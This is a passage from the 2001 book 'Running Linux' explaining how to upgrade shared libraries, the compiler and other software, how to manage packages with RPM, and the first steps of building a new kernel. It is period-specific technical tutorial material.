When should you upgrade? In general, you should consider upgrading a portion of your system only when you have a demonstrated need to upgrade. For example, if you hear of a new release of some application that fixes important bugs (that is, those bugs that actually affect your personal use of the application), you might want to consider upgrading that application. If the new version of the program provides new features you might find useful, or has a performance boost over your present version, it's also a good idea to upgrade. When your machine is somehow connected to the Internet, another good reason for upgrading would be plugging in a security hole that has been recently reported. However, upgrading just for the sake of having the newest version of a particular program is probably silly.

Upgrading can sometimes be a painful thing to do. For example, you might want to upgrade a program that requires the newest versions of the compiler, libraries, and other software in order to run. Upgrading this program will also require you to upgrade several other parts of the system, which can be a time-consuming process. On the other hand, this can be seen as an argument for keeping your software up to date; if your compiler and libraries are current, upgrading the program in question won't be a problem.

How can you find out about new versions of Linux software? The best way is to watch the Usenet newsgroup comp.os.linux.announce (see the section "Section 1.10.3, "Usenet Newsgroups"" in Chapter 1, "Introduction to Linux") where announcements of new software releases and other important information are posted. If you have Internet access, you can then download the software via FTP and install it on your system. Another good source to learn about new Linux software is the web site http://www.freshmeat.net.

If you don't have access to Usenet or the Internet, the best way to keep in touch with recent developments is to pay for a CD-ROM subscription. Here you receive an updated copy of the various Linux FTP sites, on CD-ROM, every couple of months. This service is available from a number of Linux vendors. It's a good thing to have, even if you have Internet access.

This brings us to another issue: what's the best upgrade method? Some people feel it's easier to completely upgrade the system by reinstalling everything from scratch whenever a new version of their favorite distribution is released. This way you don't have to worry about various versions of the software working together. For those without Internet access, this may indeed be the easiest method; if you receive a new CD-ROM only once every two months, a great deal of your software may be out of date.

It's our opinion, however, that reinstallation is not a good upgrade plan at all. Most of the current Linux distributions are not meant to be upgraded in this way, and a complete reinstallation may be complex or time-consuming. Also, if you plan to upgrade in this manner, you generally lose all your modifications and customizations to the system, and you'll have to make backups of your user's home directories and any other important files that would be deleted during a reinstallation. Many novices choose this upgrade path because it's the easiest to follow. In actuality, not much changes from release to release, so a complete reinstallation is usually unnecessary and can be avoided with a little upgrading know-how.

In this section, we'll show you how to upgrade various pieces of your system individually. We'll show you how to upgrade your system libraries and compiler, as well as give you a generic method for installing new software. In the following section, we'll talk about building a new kernel.

7.2.1. Upgrading Libraries

Most of the programs on a Linux system are compiled to use shared libraries. These libraries contain useful functions common to many programs. Instead of storing a copy of these routines in each program that calls them, the libraries are contained in files on the system that are read by all programs at run-time. That is, when a program is executed, the code from the program file itself is read, followed by any routines from the shared library files. This saves a great deal of disk space; only one copy of the library routines is stored on disk.

In some instances, it's necessary to compile a program to have its own copy of the library routines (usually for debugging) instead of using the routines from the shared libraries. We say that programs built in this way are statically linked, while programs built to use shared libraries are dynamically linked.

Therefore, dynamically linked executables depend upon the presence of the shared libraries on disk. Shared libraries are implemented in such a way that the programs compiled to use them generally don't depend on the version of the available libraries. This means that you can upgrade your shared libraries, and all programs that are built to use those libraries will automatically use the new routines. (There is an exception: if major changes are made to a library, the old programs won't work with the new library. You'll know this is the case because the major version number is different; we'll explain more later. In this case, you keep both the old and new libraries around. All your old executables will continue to use the old libraries, and any new programs that are compiled will use the new libraries.)

When you build a program to use shared libraries, a piece of code is added to the program that causes it to execute ld.so, the dynamic linker, when the program is started. ld.so is responsible for finding the shared libraries the program needs and loading the routines into memory. Dynamically linked programs are also linked against "stub" routines, which simply take the place of the actual shared library routines in the executable. ld.so replaces the stub routine with the code from the libraries when the program is executed.

The ldd command can be used to list the shared libraries on which a given executable depends. For example:

rutabaga% ldd /usr/bin/X11/xterm
        libXaw.so.6 => /usr/X11R6/lib/libXaw.so.6.0
        libXt.so.6 => /usr/X11R6/lib/libXt.so.6.0
        libX11.so.6 => /usr/X11R6/lib/libX11.so.6.0
    libc.so.5 => /lib/libc.so.5.0.9
Here, we see that the xterm program depends on the four shared libraries libXaw, libXt, libX11, and libc. (The first three are related to the X Window System, and the last is the standard C library.) We also see the version numbers of the libraries for which the program was compiled (that is, the version of the stub routines used), and the name of the file which contains each shared library. This is the file that ld.so will find when the program is executed.

In order to use a shared library, the version of the stub routines (in the executable) must be compatible with the version of the shared libraries. Basically, a library is compatible if its major version number matches that of the stub routines. The major version number is the part before the first period in the version number; in 6.0, the major number is 6. This way, if a program was compiled with version 6.0 of the stub routines, shared library versions 6.1, 6.2, and so forth could be used by the executable. In the section "Section 13.1.7, "More Fun with Libraries"" in Chapter 13, "Programming Languages", we describe how to use shared libraries with your own programs.

The file /etc/ld.so.conf contains a list of directories that ld.so searches to find shared library files. An example of such a file is:

/usr/lib
/usr/local/lib
/usr/X11R6/lib
ld.so always looks in /lib and /usr/lib, regardless of the contents of ld.so.conf. Usually, there's no reason to modify this file, and the environment variable LD_LIBRARY_PATH can add additional directories to this search path (e.g., if you have your own private shared libraries that shouldn't be used systemwide). However, if you do add entries to /etc/ld.so.conf or upgrade or install additional libraries on your system, be sure to use the ldconfig command which will regenerate the shared library cache in /etc/ld.so.cache from the ld.so search path. This cache is used by ld.so to find libraries quickly at runtime without actually having to search the directories on its path. For more information, check the manual pages for ld.so and ldconfig.

Now that you understand how shared libraries are used, let's move on to upgrading them. The two libraries that are most commonly updated are libc (the standard C library) and libm (the math library). For each shared library, there are two separate files:

library.a

This is the static version of the library. When a program is statically linked, routines are copied from this file directly into the executable, so the executable contains its own copy of the library routines.

library.so.version

This is the shared library image itself. When a program is dynamically linked, the stub routines from this file are copied into the executable, allowing ld.so to locate the shared library at runtime. When the program is executed, ld.so copies routines from the shared library into memory for use by the program. If a program is dynamically linked, the library.a file is not used for this library.

For the libc library, you'll have files such as libc.a and libc.so.5.2.18. The .a files are generally kept in /usr/lib, while .so files are kept in /lib. When you compile a program, either the .a or the .so file is used for linking, and the compiler looks in /lib and /usr/lib (as well as a variety of other places) by default. If you have your own libraries, you can keep these files anywhere, and control where the linker looks with the -L option to the compiler. See the section "Section 13.1.7, "More Fun with Libraries"" in Chapter 13, "Programming Languages" for details.

The shared library image, library.so.version, is kept in /lib for most systemwide libraries. Shared library images can be found in any of the directories that ld.so searches at runtime; these include /lib, /usr/lib, and the files listed in ld.so.conf. See the ld.so manual page for details.

If you look in /lib, you'll see a collection of files such as the following:

lrwxrwxrwx  1 root  root      14 Oct 23 13:25 libc.so.5 -> libc.so.5.2.18
-rwxr-xr-x  1 root  root  623620 Oct 23 13:24 libc.so.5.2.18
lrwxrwxrwx  1 root  root      15 Oct 17 22:17 libvga.so.1 ->\
libvga.so.1.2.10
-rwxr-xr-x  1 root  root  128004 Oct 17 22:17 libvga.so.1.2.10
Here, we see the shared library images for two libraries--libc and libvga. Note that each image has a symbolic link to it, named library.so.major, where major is the major version number of the library. The minor number is omitted because ld.so searches for a library only by its major version number. When ld.so sees a program that has been compiled with the stubs for version 5.2.18 of libc, it looks for a file called libc.so.5 in its search path. Here, /lib/libc.so.5 is a symbolic link to /lib/libc.so.5.2.18, the actual version of the library we have installed.

When you upgrade a library, you must replace the .a and .so.version files corresponding to the library. Replacing .a file is easy: just copy over it with the new versions. However, you must use some caution when replacing the shared library image, .so.version; most of the programs on the system depend on those images, so you can't simply delete them or rename them. To put this another way, the symbolic link library.so.major must always point to a valid library image. To accomplish this, first copy the new image file to /lib, and then change the symbolic link to point to the new file in one step, using ln -sf. This is demonstrated in the following example.

Let's say you're upgrading from Version 5.2.18 of the libc library to Version 5.4.47. You should have the files libc.a and libc.so.5.4.47. First, copy the .a file to the appropriate location, overwriting the old version:

rutabaga# cp libc.a /usr/lib
Now, copy the new image file to /lib (or wherever the library image should be):
rutabaga# cp libc.so.5.4.47 /lib
Now, if you use the command ls -l /lib/libc you should see something like:
lrwxrwxrwx  1 root  root      14 Oct 23 13:25 libc.so.5 -> libc.so.5.2.18
-rwxr-xr-x  1 root  root  623620 Oct 23 13:24 libc.so.5.2.18
-rwxr-xr-x  1 root  root  720310 Nov 16 11:02 libc.so.5.4.47
To update the symbolic link to point to the new library, use the command:
rutabaga# ln -sf /lib/libc.so.5.4.47 /lib/libc.so.5
This gives you:
lrwxrwxrwx  1 root  root      14 Oct 23 13:25 libc.so.5 ->\
/lib/libc.so.5.4.47
-rwxr-xr-x  1 root  root  623620 Oct 23 13:24 libc.so.5.2.18
-rwxr-xr-x  1 root  root  720310 Nov 16 11:02 libc.so.5.4.47
Now you can safely remove the old image file, libc.so.5.2.18. You must use ln -sf to replace the symbolic link in one step, especially when updating libraries, such as libc.

If you were to remove the symbolic link first, and then attempt to use ln -s to add it again, more than likely ln would not be able to execute because the symbolic link is gone, and as far as ld.so is concerned, the libc library can't be found. Once the link is gone, nearly all the programs on your system will be unable to execute. Be very careful when updating shared library images.

Whenever you upgrade or add a library to the system, it's not a bad idea to run ldconfig to regenerate the library cache used by ld.so. In some cases, a new library may not be recognized by ld.so until you run ldconfig.

The Linux community is currently moving from the old libc version 5 to the new so-called glibc2, also called libc6. In principle, this is not different from any other incompatible library update, but in practice this brings all kinds of problems because exchanging the C library in an incompatible manner affects each and every program on the system. While the new glibc2 has several advantages--among other things it is thread-safe, meaning that it makes it a lot easier to write programs that do more than one thing at a time--many people consider it still unstable. In addition, you cannot run programs compiled for one version with the other library version. If you want to run a program for which you do not have the sources, you will have to install the C library version that this program needs. Fortunately, it is possible to have both versions on your system, albeit with some problems. Those distributions that have already switched to glibc2 usually provide an installed package named something like "libc5 compatibility"; install this package if you want to be able to run software compiled with the old C library.

One question remains: where can you obtain the new versions of libraries? Several of the basic system libraries (libc, libm, and so on) can be downloaded from the directory /pub/Linux/GCC on ftp://metalab.unc.edu. It contains the Linux versions of the gcc compiler, libraries, include files, and other utilities. Each file there should have a README or release file that describes what to do and how to install it. Other libraries are maintained and archived separately. At any rate, all libraries you install should include the .a and .so.version files, as well as a set of include files for use with the compiler.

7.2.2. Upgrading the Compiler

One other important part of the system to keep up to date is the C compiler and related utilities. These include gcc (the GNU C and C++ compiler itself), the linker, the assembler, the C preprocessor, and various include files and libraries used by the compiler itself. All are included in the Linux gcc distribution. Usually, a new version of gcc is released along with new versions of the libc library and include files, and each requires the other.

You can find the current gcc release for Linux on the various FTP archives, including /pub/Linux/GCC on ftp://metalab.unc.edu. The release notes there should tell you what to do. Usually, upgrading the compiler is a simple matter of unpacking several tar files as root, and possibly removing some additional files. If you don't have Internet access, you can obtain the newest compiler from CD-ROM archives of the FTP sites, as described earlier.

To find out what version of gcc you have, use the command:

gcc -v
This should tell you something like:
Reading specs from /usr/lib/gcc-lib/i486-linux/2.8.1/specs
gcc version 2.8.1
Note that gcc itself is just a front-end to the actual compiler and code-generation tools found under:
/usr/lib/gcc-lib/machine/version
gcc (usually in /usr/bin) can be used with multiple versions of the compiler proper, with the -V option. In the section "Section 13.1, "Programming with gcc"" in Chapter 13, "Programming Languages", we describe the use of gcc in detail.

If you are developing software in C++, it might also be a good idea to use egcs, a new version of gcc that is much more robust than gcc itself and supports most of the modern C++ features. Unfortunately, egcs, older versions of gcc (up to version 2.7.2), and newer versions of gcc (from version 2.8.0) all use different and incompatible object file formats, which means that you should recompile all your C++ libraries and applications if you migrate from one compiler to another. The Free Software Foundation has announced recently that egcs will become its default compiler, thus replacing gcc, so these considerations might be obsolete soon.

7.2.3. Upgrading Other Software

Of course, you'll have to periodically upgrade other pieces of your system. As discussed in the previous section, it's usually easier and best to upgrade only those applications you need to upgrade. For example, if you never use Emacs on your system, why bother keeping up-to-date with the most recent version of Emacs? For that matter, you may not need to stay completely current with oft-used applications. If something works for you, there's little need to upgrade.

In order to upgrade other applications, you'll have to obtain the newest release of the software. This is usually available as a gzipped or compressed tar file. Such a package could come in several forms. The most common are binary distributions, where the binaries and related files are archived and ready to unpack on your system, and source distributions, where the source code (or portions of the source code) for the software is provided, and you have to issue commands to compile and install it on your system.

Shared libraries make distributing software in binary form easy; as long as you have a version of the libraries installed that is compatible with the library stubs used to build the program, you're set. However, in many cases, it is easier (and a good idea) to release a program as source. Not only does this make the source code available to you for inspection and further development, it allows you to build the application specifically for your system, with your own libraries. Many programs allow you to specify certain options at compile-time, such as selectively including various features in the program when built. This kind of customization isn't possible if you get prebuilt binaries.

There's also a security issue at play when installing binaries without source code. Although on Unix systems viruses are nearly unheard of,[31] it's not difficult to write a "trojan horse," a program that appears to do something useful, but in actuality causes damage to the system. For example, someone could write an application that includes the "feature" of deleting all files in the home directory of the user executing the program. Because the program would be running with the permissions of the user executing it, the program itself has the ability to do this kind of damage. (Of course, the Unix security mechanism prevents damage being done to other users' files or to any important system files owned by root.)

[31]A "virus" in the classic sense is a program that attaches to a "host," which runs when the host is executed. On Unix systems, this usually requires root privileges to do any harm, and if programmers could obtain such privileges, they probably wouldn't bother with a virus.

While having source won't necessarily prevent this from happening (do you read the source code for every program you compile on your system?), at least it gives you a way to verify what the program is really doing. A programmer would have to make a certain effort to prevent such a trojan horse from being discovered, but if you install binaries blindly, you are setting yourself up for trouble.

At any rate, dealing with source and binary distributions of software is quite simple. If the package is released as a tar file, first use the tar t option to determine how the files have been archived. In the case of binary distributions, you may be able to unpack the tar file directly on your system, say from / or /usr. When doing this, be sure to delete any old versions of the program and its support files (those that aren't overwritten by the new tar file). If the old executable comes before the new one on your path, you'll continue to run the old version unless you remove it.

Many distributions now use a special packaging system that makes installing and uninstalling software a lot easier. There are several packaging systems available, but most distributions, including Red Hat, SuSE, and Caldera use the RPM system, which we will cover in the next section. The Debian distribution uses its own .deb system not covered here.

Source distributions are a bit trickier. First, you must unpack the sources into a directory of their own. Most systems use /usr/src for just this. Because you usually don't have to be root to build a software package (you will usually require root permissions to install the program once compiled!), it might be a good idea to make /usr/src writable by all users, with the command:

chmod 1777 /usr/src
This allows any user to create subdirectories of /usr/src and place files there. The first 1 in the mode is the "sticky" bit, which prevents users from deleting each other's subdirectories.

You can now create a subdirectory under /usr/src and unpack the tar file there, or you can unpack the tar file directly from /usr/src if the archive contains a subdirectory of its own.

Once the sources are available, the next step is to read any README files or installation notes included with the sources. Nearly all packages include such documentation. The basic method used to build most programs is:

  1. Check the Makefile. This file contains instructions for make, which controls the compiler to build programs. Many applications require you to edit minor aspects of the Makefile for your own system; this should be self-explanatory. The installation notes will tell you if you have to do this. If you need more help with the Makefile, read the section "Section 13.2, "Makefiles"" in Chapter 13, "Programming Languages". If there is no Makefile in the package, you might have to generate it first. See item 3 for how to do this.

  2. Possibly edit other files associated with the program. Some applications require you to edit a file named config.h; again, this will be explained in the installation instructions.

  3. Possibly run a configuration script. Such a script is used to determine what facilities are available on your system, which is necessary to build more complex applications.

    Specifically, when the sources do not contain a Makefile in the top-level directory, but instead a file called Makefile.in and a file called configure, the package has been built with the Autoconf system. In this (more and more common case), you run the configuration script like this:

    ./configure
    The ./ should be used so that the local configure is run, and not another configure program that might accidentally be in your path. Some packages let you pass options to configure that often enable or disable specific features of the package. Once the configure script has run, you can proceed with the next step.

  4. Run make. Generally, this executes the appropriate compilation commands as given in the Makefile. In many cases you'll have to give a "target" to make, as in make all or make install. These are two common targets; the former is usually not necessary but can be used to build all targets listed in a Makefile (e.g., if the package includes several programs, but only one is compiled by default); the latter is often used to install the executables and support files on the system after compilation. For this reason, make install is usually run as root.

You might have problems compiling or installing new software on your system, especially if the program in question hasn't been tested under Linux, or depends on other software you don't have installed. In Chapter 13, "Programming Languages", we talk about the compiler, make, and related tools in detail.

Most software packages include manual pages and other files, in addition to the source and executables. The installation script (if there is one) will place these files in the appropriate location. In the case of manual pages, you'll find files with names such as foobar.1 or foobar.man. These files are usually nroff source files, which are formatted to produce the human-readable pages displayed by the man command. If the manual page source has a numeric extension, such as .1, copy it to the directory /usr/man/man1, where 1 is the number used in the filename extension. (This corresponds to the manual "section" number; for most user programs, it is 1.) If the file has an extension such as .man, it usually suffices to copy the file to /usr/man/man1, renaming the .man extension to .1.

Previous | Home | Next
7. Upgrading Software and the Kernel | Book Index | 7.3. Using RPM
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using RPM (Running Linux)

 Running LinuxSearch this book
Previous Next

7.3. Using RPM

RPM, the Red Hat Package Manager, is a tool that automates the installation of software binaries and remembers what files are needed so that you can be assured the software will run properly. Despite the name, RPM is not Red Hat-specific, but is used in many other distributions nowadays, including SuSE and Caldera. Using RPM makes installing and uninstalling software a lot easier.

The basic idea of RPM is that you have a database of packages and the files that belong to a package. When you install a new package, the information about this package is recorded in the database. Then, when you want to uninstall the package, for every file of the package, RPM checks whether there are other packages installed using this file, too. If this is the case, the file in question is not deleted.

In addition, RPM tracks dependencies. Each package can be dependent on one or more other packages. When you install a package, RPM checks whether the packages the new package is dependent on are already installed. If not, it informs you about the dependency and refuses to install the package.

The dependencies are also used for removing packages: when you want to uninstall a package that other packages are still dependent upon, RPM tells you about this, too, and refuses to execute the task.

The increased convenience of using RPM packages comes at a price, however: First, as a developer, it is significantly more difficult to make a RPM package than to simply pack everything in a tar archive. And second, it is not possible to retrieve just one file from a RPM package; you have to install everything or nothing.

If you already have an RPM system, installing RPM packages is very easy. Let's say that you have a RPM package called SuperFrob-4.i386.rpm (RPM package always have the extension .rpm; the i386 indicates that this is a binary package compiled for Intel machines). You could then install it with:

tigger # rpm -i SuperFrob-4.i386.rpm

Instead of -i, you can also use the long-named version of this option; choose whatever you like better:

tigger # rpm --install SuperFrob-4.i386.rpm

If everything goes well, there will be no output. If you want RPM to be more verbose, you can try:

tigger # rpm -ivh SuperFrob-4.i386.rpm

This prints the name of the package plus a number of hash marks, so that you can see how the installation progresses.

If the package you want to install needs another package that is not yet installed, you will get something like the following:

tigger # rpm -i SuperFrob-4.i386.rpm
failed dependencies:
        frobnik-2 is needed by SuperFrob-4

If you see this, you have to hunt for the package frobnik-2 and install this first. Of course, this package can itself be dependent on other packages again.

If you want to update a package, use the -U or - -update option (which is just the -i option combined with a few more implied options):

tigger # rpm -U SuperFrob-5.i386.rpm

Uninstalling a package is done with the -e or --erase option. In this case, you do not specify the package file (you might not have that around any longer), but the package name and version number:

tigger # rpm -e SuperFrob-5

Besides the options described so far that alter the state of your system, the -q option provides various kinds of informations about everything that is recorded in the RPM database as well as package files. Here are some useful things you can do with -q:

  • Find out the version number of an installed package:

    tigger# rpm -q SuperFrob
SuperFrob-5

  • Get a list of all installed packages:

    tigger# rpm -qa
SuperFrob-5
OmniFrob-3
...
libc-5.4.47-1

  • Find out to which package a file belongs:

    tigger# rpm -qf /usr/bin/dothefrob
SuperFrob-5
tigger# rpm -qf /home/kalle/.xinitrc
file /home/kalle/.xinitrc is not owned by any package

  • Display information about the specified package:

    tigger# rpm -qi rpm
Name        : rpm                Distribution: SuSE Linux 5.2 (i386)
Version     : 2.4.12             Vendor: SuSE GmbH, Fuerth, Germany
Release     : 3                  Build Date: Tue Mar 10 01:35:47 1998
Install date: Fri Sep 25 18:43:41 1998 Build Host: Pascal.fs100.suse.d
Group       :                    Source RPM: rpm-2.4.12-3.src.rpm
Size        : 1163708
Packager    : feedback@suse.de
Summary     : rpm - Red Hat Package Manager
Description :
rpm (Red Hat Package Manager) is the main tool for managing software
packages of the SuSE Linux distribution. rpm can be used to install

and remove software packages; with rpm it's easy to update packages.
rpm keep track of all these manipulations in a central database. This
way it is possible to get an overview of all installed packages; rpm
also supports database queries.

  • Show the files that will be installed for the specified package file:

    tigger# rpm -qpl SuperFrob-5.i386.rpm
/usr/bin/dothefrob
/usr/bin/frobhelper
/usr/doc/SuperFrob/Installation
/usr/doc/SuperFrob/README
/usr/man/man1/dothefrob.1

What we've just finished showing are the basic modes of operation, which are supplemented by a large number of additional options. You can check those in the manual page for the rpm command.

If you are faced with a RPM package that you want to install, but have a system like Slackware or Debian that is not based on RPM, things get a little bit more difficult.

You can either use the fairly self-explanatory command alien that can convert between various package formats and comes with most distributions, or you can build the RPM database from scratch.

The first thing you have to do in this latter case is to get the rpm program itself. You can download it from http://www.rpm.org. Follow the installation instructions to build and install it; if you have the C compiler gcc installed on your system, there should be no problems with this.

The next task is to initialize the RPM database. Distributions that come with RPM do the initialization automatically, but on other systems you will have to issue the command:

tigger # rpm --initdb

This command creates several files in the directory /var/lib/rpm. The directory /var/lib should already exist; if it doesn't, create it with the mkdir command first.

Now you can install RPM packages the normal way, but since you have not installed the basic parts of the system like the C library with RPM, you will get errors like the following:

tigger # rpm -i SuperFrob-4.i386.rpm
failed dependencies:
        libm.so.5 is needed by SuperFrob-4
        libdl.so.1 is needed by SuperFrob-4
        libc.so.5 is needed by SuperFrob-4

because those files are not recorded in the RPM database. Of course, you really do have those files on your system; otherwise most programs wouldn't run. For RPM to work, you must tell it not to care about any dependencies. You do this by specifying the command-line option - -nodeps:

tigger # rpm -i --nodeps SuperFrob-4.i386.rpm

Now, RPM will install the package without complaining.

With this information, you should be able to administer your RPM-based system. If you want to know more, read the manual page for the rpm command or check out http://www.rpm.org.

Previous | Home | Next
7.2. Upgrading Software | Book Index | 7.4. Building a New Kernel
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Building a New Kernel (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

7.4. Building a New Kernel

Rebuilding the kernel sounds like a pastime for hackers, but it is an important skill for any system administrator. First, you should rebuild the kernel on your system to eliminate the device drivers you don't need. This reduces the amount of memory used by the kernel itself, as described in the section "Section 6.2, "Managing Swap Space"," in Chapter 6, "Managing Filesystems, Swap, and Devices", the kernel is always present in memory, and the memory it uses cannot be reclaimed for use by programs if necessary.

You also need to occasionally upgrade your kernel to a newer version. As with any piece of your system, if you know of important bug fixes or new features in a kernel release, you may want to upgrade to pick them up. Those people who are actively developing kernel code will also need to keep their kernel up to date in case changes are made to the code they are working on. Sometimes, it is necessary to upgrade your kernel to use a new version of the compiler or libraries. Some applications (such as the X Window System) require a certain kernel version to run.

You can find out what kernel version you are running through the command uname -a. This should produce something like:

rutabaga% uname -a
Linux tigger 2.0.35 #4 Wed Sep 30 12:44:16 CEST 1998 i586
Here, we see a machine running Version 2.0.35 of the kernel, which was last compiled on September 30. We see other information as well, such as the hostname of the machine, the number of times this kernel has been compiled (four), and the fact that the machine is a Pentium or equivalent (as denoted by i586). The manual page for uname can tell you more.

The Linux kernel is a many-tentacled beast. Many groups of people work on different pieces of it, and some parts of the code are a patchwork of ideas meeting different design goals. Overall, however, the kernel code is clean and uniform, and those interested in exploring its innards should have little trouble doing so. However, because of the great amount of development going on with the kernel, new releases are made very rapidly--sometimes daily! The chief reason for this is that nearly all device drivers are contained within the kernel code, and every time someone updates a driver, a new release is necessary. As the Linux community moves towards loadable device drivers, the maintainers of those drivers can release them independently of the main kernel, alleviating the necessity of such rapid updates.

Currently, Linus Torvalds maintains the "official" kernel release. Although the General Public License allows anyone to modify and rerelease the kernel under the same copyright, Linus's maintenance of an "official" kernel is a helpful convention that keeps version numbers uniform and allows everyone to be on equal footing when talking about kernel revisions. In order for a bug fix or new feature to be included in the kernel, all one must do is send it to Linus, who will usually incorporate the change as long as it doesn't break anything.

Kernel version numbers follow the convention:

major.minor.patchlevel
major is the major version number, which rarely changes, minor is the minor version number, which indicates the current "strain" of the kernel release, and patchlevel is the number of the patch to the current kernel version. Some examples of kernel versions are 2.0.36, (patch level 36 of kernel Version 2.0), and 2.1.52 (patch level 52 of kernel Version 2.1).

By convention, even-numbered kernel versions (2.0, 2.2, and so on) are "stable" releases, patches that contain only bug fixes and no new features. Odd-numbered kernel versions (2.1, 2.3, and so on) are "development" releases, patches that contain whatever new code developers wish to add and bug fixes for that code. When a development kernel matures to the point where it is stable enough for wide use, it is renamed with the next highest (even) minor version number, and the development cycle begins again.

For example, kernel Versions 2.0 and 2.1 were worked on concurrently. Patches made to 2.0 were bug fixes--meant only to correct problems in the existing code. Patches to 2.1 included bug fixes as well as a great deal of new code--new device drivers, new features, and so on. When kernel Version 2.1 was stable enough, it was renamed to 2.2; a copy was made and named Version 2.3. Development continued with Versions 2.2 and 2.3. 2.2 would be the new "stable" kernel while 2.3 was a development kernel for new features.

Note that this version-numbering convention applies only to Linus's official kernel release and only to kernel versions after 1.0. Prior to 1.0 (this is now ancient history), there was only one "current" kernel version and patches were consistently made to it. The kernel development community has found that having two concurrent kernel versions allows those who want to experiment to use the development kernel, and those who need a reliable platform to stick with the stable kernel. In this way, if the development kernel is seriously broken by new code, it shouldn't affect those who are running the newest stable kernel. The general rule is that you should use development kernels if you want to be on the leading edge of new features and are willing to risk problems with your system. Use the development kernels at your own risk.

If you are interested in how the kernel versions so far have evolved, check out http://ps.cus.mist.ac.uk/~rhw/kernel.versions.html.

On your system, the kernel sources most probably live in /usr/src/linux (unless you use the Debian distribution, where you can find the kernel sources in /usr/src/kernel-source-versionsnumber). If you are going to rebuild your kernel only from the current sources, you don't need to obtain any files or apply any patches. If you wish to upgrade your kernel to a new version, you need to follow the instructions in the following section.

7.4.1. Obtaining Kernel Sources

The official kernel is released as a gzipped tar file, containing the sources along with a series of patch files--one per patch level. The tar file contains the source for the unpatched revision; for example, there is a tar file containing the sources for kernel Version 1.1 with no patches applied. Each subsequent patch level is released as a patch file (produced using diff), which can be applied using the patch program. In the section "Section 14.2.9, "Patching Files"" in Chapter 14, "Tools for Programmers", we describe the use of patch in detail.

Let's say you're upgrading to kernel Version 1.1 patch level 15. You'll need the sources for 1.1 (the file might be named v1.1.0.tar.gz) and the patches for patch levels 1 through 15. These files would be named patch1, patch2, and so forth. (You need all of the patch files up to the version you're upgrading to. Usually, these patch files are rather small, and are gzipped on the archive sites.) All these files can be found in the kernel directory of the Linux FTP archive sites; for example, on ftp://ftp.kernel.org, the directory containing the 2.2 sources and patches is /pub/linux/kernel/v2.2. You will find the kernel sources here as tar archives, both compressed with gzip and bzip2.

If you are already at some patch level of the kernel (such as 2.1 patch level 15) and want to upgrade to a newer patch level, you can simply apply the patches from the version you have up to the version you'd like to upgrade to. If you're upgrading from, say, 2.1 patch level 15 to 2.1 patch level 19, you need the patch files for 2.1.16 to 2.1.19 inclusive.

7.4.1.1. Unpacking the sources

First, you need to unpack the source tar file from /usr/src. You do this with commands such as:

rutabaga# cd /usr/src
rutabaga# mv linux linux.old
rutabaga# tar xzf v1.1.0.tar.gz
This saves your old kernel source tree as /usr/src/linux.old and creates /usr/src/linux, containing the new sources. Note that the tar file containing the sources includes the linux subdirectory.

You should keep your current kernel sources in the directory /usr/src/linux, because there are two symbolic links--/usr/include/linux and /usr/include/asm--that point into the current kernel source tree to provide certain header files when compiling programs. (You should always have your kernel sources available so that programs using these include files can be compiled.) If you want to keep several kernel source trees around, be sure that /usr/src/linux points to the most recent one.

7.4.1.2. Applying patches

If you are applying any patch files, you use the patch program. Let's say that you have the files patch1.gz through patch15.gz, which are gzipped. These patches should be applied from /usr/src. That doesn't mean the patch files themselves should be located there, but rather that patch should be executed from /usr/src. For each patch file, use the command:

gunzip -c patchfile | patch -p0
from /usr/src. The -p0 option tells patch it shouldn't strip any part of the filenames contained within the patch file.

You must apply each patch in numerical order by patch level. This is very important. Note that using a wildcard such as patch* will not work because the * wildcard uses ASCII order, not numeric order. (Otherwise you'd get patch1 followed by patch10 and patch11, as opposed to patch2 and patch3.) It is best to run the previous command for each patch file in succession, by hand. This way you can ensure you're doing things in the right order.

You shouldn't encounter problems when patching your source tree in this way unless you try to apply patches out of order or apply a patch more than once. Check the patch manual page if you do encounter trouble. If all else fails, remove the new kernel source tree and start over from the original tar file.

To double-check that the patches were applied successfully, use the commands:

find /usr/src/linux -follow -name "*.rej" -print
find /usr/src/linux -follow -name "*#" -print
This lists any files that are "rejected" portions of the patch process. If any such files exist, they contain sections of the patch file that could not be applied for some reason. Look into these, and if there's any doubt start over from scratch. You cannot expect your kernel to compile or work correctly if the patch process did not complete successfully and without rejections.

7.4.2. Building the Kernel

Whether or not you've upgraded your kernel sources, you're ready to build a new kernel. The primary reason to do this is either to simply upgrade or to trim down your current kernel, excluding unneeded device drivers.

There are six steps to building the kernel, and they should be quite painless. All of these steps are described in more detail in the following pages.

  1. Run make config, which asks you various questions about which drivers you wish to include. You could also use the more comfortable variants make menuconfig or (only when you are running the X Window System) make xconfig.

  2. Run make dep to gather dependencies for each source file and include them in the various makefiles.

  3. If you have built a kernel from this source tree before, run make clean to clear out old object files and force a complete rebuild.

  4. Run make zImage to build the kernel itself.

  5. Go have a coffee (or two, depending on the speed of your machine and amount of available memory).

  6. Install the new kernel image, either on a boot floppy or via LILO.

All these commands are executed from /usr/src/linux, except for Step 5, which you can do anywhere.

There is a README included in the kernel sources, which should be located at /usr/src/linux/README on your system. Read it. It contains up-to-date notes on kernel compilation, which may be more current than the information presented here. Be sure to follow the steps described there, using the descriptions given later in this section as a guide.

The first step is to run make config. This executes a script that asks you a set of yes/no questions about which drivers to include in the kernel. There are defaults for each question, but be careful: the defaults probably don't correspond to what you want. (When several options are available, the default will be shown as a capital letter, as in [Y/n].) Your answers to each question will become the default the next time you build the kernel from this source tree.

Simply answer each question, either by pressing Enter for the default, or pressing y or n (followed by Enter). Not all of the questions have a yes/no answer; you may be asked to enter a number or some other value. A number of the configuration questions allow an answer of m in addition to y or n. This option allows the corresponding kernel feature to be compiled as a loadable kernel module, as opposed to building it into the kernel image itself. Loadable modules, covered in the following section, "Section 7.5, "Loadable Device Drivers"," allow portions of the kernel (such as device drivers) to be loaded and unloaded as needed on a running system. If you are unsure about an option, type ? at the prompt; for most options, a message will be shown that tells you more about the option.

An alternative to running make config is make xconfig, which compiles and runs an X-Window-based kernel configuration program. In order for this to work, you must have the X Window System running, have the appropriate X11 and Tcl/Tk libraries installed, and so forth. Instead of asking a series of questions, the X-based configuration utility allows you to use checkboxes to select which kernel options you want to enable. The system remembers your configuration options each time you run make config, so if you're only adding or removing a few features from your kernel, you need not reenter all the options.

Also available is make menuconfig, which uses the text-based curses library, providing a similar menu-based kernel configuration if you don't have X installed. make menuconfig and make xconfig are much more comfortable than make config, especially because you can go back to an option and change your mind until you save your configuration.

The following is part of a session with make config. When using make menuconfig or make xconfig, you will encounter the same options, only presented more user-friendly:

